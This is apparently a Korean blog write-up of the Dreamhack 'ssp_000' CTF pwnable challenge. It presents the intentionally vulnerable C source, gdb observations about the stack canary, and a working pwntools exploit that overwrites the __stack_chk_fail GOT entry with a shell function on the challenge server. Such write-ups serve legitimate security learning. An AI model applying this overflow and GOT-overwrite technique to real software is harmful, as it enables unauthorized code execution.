본문 바로가기

포너블

드림핵 ssp_000 롸업

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

문제 코드이다.

카나리가 있는데 카나리 값을 릭할 방법이 도저히 없어 보인다. 

우선 gdb로 main을 disasm 해봤다.

buf는 rbp-0x50에 저장이 된다. 

buf 다음에 카나리가 있을 것으로 예상이 되기 때문에 메모리를 봤다.

이 문제를 풀면서 새로 알게 된 명령어인데 x/40gx 메모리주소 이런 식으로 하면 해당 주소부터 40바이트의 메모리를 볼 수 있다.

이렇게 보면 카나리가 있다.

카나리 값이 변조되면 call   0x4006d0 <__stack_chk_fail@plt> 이렇게 __stack_chk_fail 함수가 실행된다.

0x4006d0 주소에 저 함수 대신에 get_shell 함수의 주소를 넣어주고 카나리를 변조하면 get_shell 함수가 실행된다.

from pwn import *

p = remote('host3.dreamhack.games', 10523)
e = ELF('./ssp_000')

get_shell = 0x4008ea
stack_chk_fail_got = e.got['__stack_chk_fail']

payload = b'A' * 0x80
p.sendline(payload)

p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()

이렇게 페이로드를 짤 수 있다.

cat flag로 플래그를 읽어왔다.